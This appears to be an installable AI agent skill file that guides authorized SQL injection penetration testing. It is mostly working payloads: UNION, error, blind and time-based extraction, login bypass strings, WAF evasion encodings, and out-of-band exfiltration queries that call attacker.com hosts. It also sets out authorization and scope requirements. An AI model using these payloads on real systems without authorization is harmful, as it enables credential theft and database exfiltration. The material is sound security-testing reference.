This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
Add this skill
npx mdskills install sickn33/sql-injection-testingComprehensive pentesting guide with clear phases, examples, and bypass techniques
1---2name: SQL Injection Testing3description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.4metadata:5 author: zebbern6 version: "1.1"7---89# SQL Injection Testing1011## Purpose1213Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.1415## Inputs / Prerequisites1617### Required Access18- Target web application URL with injectable parameters19- Burp Suite or equivalent proxy tool for request manipulation20- SQLMap installation for automated exploitation21- Browser with developer tools enabled2223### Technical Requirements24- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)25- Knowledge of HTTP request/response cycle26- Familiarity with database schemas and structures27- Write permissions for testing reports2829### Legal Prerequisites30- Written authorization for penetration testing31- Defined scope including target URLs and parameters32- Emergency contact procedures established33- Data handling agreements in place3435## Outputs / Deliverables3637### Primary Outputs38- SQL injection vulnerability report with severity ratings39- Extracted database schemas and table structures40- Authentication bypass proof-of-concept demonstrations41- Remediation recommendations with code examples4243### Evidence Artifacts44- Screenshots of successful injections45- HTTP request/response logs46- Database dumps (sanitized)47- Payload documentation4849## Core Workflow5051### Phase 1: Detection and Reconnaissance5253#### Identify Injectable Parameters54Locate user-controlled input fields that interact with database queries:5556```57# Common injection points58- URL parameters: ?id=1, ?user=admin, ?category=books59- Form fields: username, password, search, comments60- Cookie values: session_id, user_preference61- HTTP headers: User-Agent, Referer, X-Forwarded-For62```6364#### Test for Basic Vulnerability Indicators65Insert special characters to trigger error responses:6667```sql68-- Single quote test69'7071-- Double quote test72"7374-- Comment sequences75--76#77/**/7879-- Semicolon for query stacking80;8182-- Parentheses83)84```8586Monitor application responses for:87- Database error messages revealing query structure88- Unexpected application behavior changes89- HTTP 500 Internal Server errors90- Modified response content or length9192#### Logic Testing Payloads93Verify boolean-based vulnerability presence:9495```sql96-- True condition tests97page.asp?id=1 or 1=198page.asp?id=1' or 1=1--99page.asp?id=1" or 1=1--100101-- False condition tests102page.asp?id=1 and 1=2103page.asp?id=1' and 1=2--104```105106Compare responses between true and false conditions to confirm injection capability.107108### Phase 2: Exploitation Techniques109110#### UNION-Based Extraction111Combine attacker-controlled SELECT statements with original query:112113```sql114-- Determine column count115ORDER BY 1--116ORDER BY 2--117ORDER BY 3--118-- Continue until error occurs119120-- Find displayable columns121UNION SELECT NULL,NULL,NULL--122UNION SELECT 'a',NULL,NULL--123UNION SELECT NULL,'a',NULL--124125-- Extract data126UNION SELECT username,password,NULL FROM users--127UNION SELECT table_name,NULL,NULL FROM information_schema.tables--128UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--129```130131#### Error-Based Extraction132Force database errors that leak information:133134```sql135-- MSSQL version extraction1361' AND 1=CONVERT(int,(SELECT @@version))--137138-- MySQL extraction via XPATH1391' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--140141-- PostgreSQL cast errors1421' AND 1=CAST((SELECT version()) AS int)--143```144145#### Blind Boolean-Based Extraction146Infer data through application behavior changes:147148```sql149-- Character extraction1501' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--1511' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--152153-- Conditional responses1541' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--155```156157#### Time-Based Blind Extraction158Use database sleep functions for confirmation:159160```sql161-- MySQL1621' AND IF(1=1,SLEEP(5),0)--1631' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--164165-- MSSQL1661'; WAITFOR DELAY '0:0:5'--167168-- PostgreSQL1691'; SELECT pg_sleep(5)--170```171172#### Out-of-Band (OOB) Extraction173Exfiltrate data through external channels:174175```sql176-- MSSQL DNS exfiltration1771; EXEC master..xp_dirtree '\\attacker-server.com\share'--178179-- MySQL DNS exfiltration1801' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--181182-- Oracle HTTP request1831' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--184```185186### Phase 3: Authentication Bypass187188#### Login Form Exploitation189Craft payloads to bypass credential verification:190191```sql192-- Classic bypass193admin'--194admin'/*195' OR '1'='1196' OR '1'='1'--197' OR '1'='1'/*198') OR ('1'='1199') OR ('1'='1'--200201-- Username enumeration202admin' AND '1'='1203admin' AND '1'='2204```205206Query transformation example:207```sql208-- Original query209SELECT * FROM users WHERE username='input' AND password='input'210211-- Injected (username: admin'--)212SELECT * FROM users WHERE username='admin'--' AND password='anything'213-- Password check bypassed via comment214```215216### Phase 4: Filter Bypass Techniques217218#### Character Encoding Bypass219When special characters are blocked:220221```sql222-- URL encoding223%27 (single quote)224%22 (double quote)225%23 (hash)226227-- Double URL encoding228%2527 (single quote)229230-- Unicode alternatives231U+0027 (apostrophe)232U+02B9 (modifier letter prime)233234-- Hexadecimal strings (MySQL)235SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex236```237238#### Whitespace Bypass239Substitute blocked spaces:240241```sql242-- Comment substitution243SELECT/**/username/**/FROM/**/users244SEL/**/ECT/**/username/**/FR/**/OM/**/users245246-- Alternative whitespace247SELECT%09username%09FROM%09users -- Tab character248SELECT%0Ausername%0AFROM%0Ausers -- Newline249```250251#### Keyword Bypass252Evade blacklisted SQL keywords:253254```sql255-- Case variation256SeLeCt, sElEcT, SELECT257258-- Inline comments259SEL/*bypass*/ECT260UN/*bypass*/ION261262-- Double writing (if filter removes once)263SELSELECTECT → SELECT264UNUNIONION → UNION265266-- Null byte injection267%00SELECT268SEL%00ECT269```270271## Quick Reference272273### Detection Test Sequence274```2751. Insert ' → Check for error2762. Insert " → Check for error2773. Try: OR 1=1-- → Check for behavior change2784. Try: AND 1=2-- → Check for behavior change2795. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay280```281282### Database Fingerprinting283```sql284-- MySQL285SELECT @@version286SELECT version()287288-- MSSQL289SELECT @@version290SELECT @@servername291292-- PostgreSQL293SELECT version()294295-- Oracle296SELECT banner FROM v$version297SELECT * FROM v$version298```299300### Information Schema Queries301```sql302-- MySQL/MSSQL table enumeration303SELECT table_name FROM information_schema.tables WHERE table_schema=database()304305-- Column enumeration306SELECT column_name FROM information_schema.columns WHERE table_name='users'307308-- Oracle equivalent309SELECT table_name FROM all_tables310SELECT column_name FROM all_tab_columns WHERE table_name='USERS'311```312313### Common Payloads Quick List314| Purpose | Payload |315|---------|---------|316| Basic test | `'` or `"` |317| Boolean true | `OR 1=1--` |318| Boolean false | `AND 1=2--` |319| Comment (MySQL) | `#` or `-- ` |320| Comment (MSSQL) | `--` |321| UNION probe | `UNION SELECT NULL--` |322| Time delay | `AND SLEEP(5)--` |323| Auth bypass | `' OR '1'='1` |324325## Constraints and Guardrails326327### Operational Boundaries328- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization329- Limit data extraction to proof-of-concept quantities330- Avoid denial-of-service through resource-intensive queries331- Stop immediately upon detecting production database with real user data332333### Technical Limitations334- WAF/IPS may block common payloads requiring evasion techniques335- Parameterized queries prevent standard injection336- Some blind injection requires extensive requests (rate limiting concerns)337- Second-order injection requires understanding of data flow338339### Legal and Ethical Requirements340- Written scope agreement must exist before testing341- Document all extracted data and handle per data protection requirements342- Report critical vulnerabilities immediately through agreed channels343- Never access data beyond scope requirements344345## Examples346347### Example 1: E-commerce Product Page SQLi348349**Scenario**: Testing product display page with ID parameter350351**Initial Request**:352```353GET /product.php?id=5 HTTP/1.1354```355356**Detection Test**:357```358GET /product.php?id=5' HTTP/1.1359Response: MySQL error - syntax error near '''360```361362**Column Enumeration**:363```364GET /product.php?id=5 ORDER BY 4-- HTTP/1.1365Response: Normal366GET /product.php?id=5 ORDER BY 5-- HTTP/1.1367Response: Error (4 columns confirmed)368```369370**Data Extraction**:371```372GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1373Response: Displays admin credentials374```375376### Example 2: Blind Time-Based Extraction377378**Scenario**: No visible output, testing for blind injection379380**Confirm Vulnerability**:381```sql382id=5' AND SLEEP(5)--383-- Response delayed by 5 seconds (vulnerable confirmed)384```385386**Extract Database Name Length**:387```sql388id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--389-- Delay confirms database name is 8 characters390```391392**Extract Characters**:393```sql394id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--395-- Iterate through characters to extract: 'appstore'396```397398### Example 3: Login Bypass399400**Target**: Admin login form401402**Standard Login Query**:403```sql404SELECT * FROM users WHERE username='[input]' AND password='[input]'405```406407**Injection Payload**:408```409Username: administrator'--410Password: anything411```412413**Resulting Query**:414```sql415SELECT * FROM users WHERE username='administrator'--' AND password='anything'416```417418**Result**: Password check bypassed, authenticated as administrator.419420## Troubleshooting421422### No Error Messages Displayed423- Application uses generic error handling424- Switch to blind injection techniques (boolean or time-based)425- Monitor response length differences instead of content426427### UNION Injection Fails428- Column count may be incorrect → Test with ORDER BY429- Data types may mismatch → Use NULL for all columns first430- Results may not display → Find injectable column positions431432### WAF Blocking Requests433- Use encoding techniques (URL, hex, unicode)434- Insert inline comments within keywords435- Try alternative syntax for same operations436- Fragment payload across multiple parameters437438### Payload Not Executing439- Verify correct comment syntax for database type440- Check if application uses parameterized queries441- Confirm input reaches SQL query (not filtered client-side)442- Test different injection points (headers, cookies)443444### Time-Based Injection Inconsistent445- Network latency may cause false positives446- Use longer delays (10+ seconds) for clarity447- Run multiple tests to confirm pattern448- Consider server-side caching effects449
Full transparency — inspect the skill content before installing.